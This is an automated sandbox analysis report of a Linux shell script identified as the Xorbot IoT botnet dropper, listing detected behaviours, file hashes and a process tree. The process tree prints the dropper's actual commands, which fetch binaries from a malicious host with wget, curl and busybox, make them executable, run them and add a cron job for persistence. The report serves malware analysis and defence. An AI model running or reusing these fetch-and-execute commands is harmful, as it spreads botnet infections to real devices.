Analysis

  • max time kernel
    114s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    27/02/2025, 11:43

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250227-nvmb8swtav
  • SHA256 c87e1da6208974643e90182d3569a11d52000e4e09f6e132db4b28a55922b9c3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2181) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1520
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1521
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1522
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1526
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        PID:1528
      • /bin/chmod
        chmod 777 bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • File and Directory Permissions Modification
        PID:1529
      • /tmp/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        ./bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:1530
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:1532
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:1533
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:1534
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:1535
            • /bin/rm
              rm bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
              2⤵
                PID:1537
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
                2⤵
                • System Network Configuration Discovery
                PID:1540

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3

                  • Path /tmp/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
                  • Size 112KB
                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                  • MD5 SHA1 SHA512 SSDEEP

                  tmp.8PcIqG

                  • Path /var/spool/cron/crontabs/tmp.8PcIqG
                  • Size 210B
                  • SHA256 fe056e237ced720b8a54d75c9605158718abb08da47286c864c7ea247ea4897b
                  • MD5 SHA1 SHA512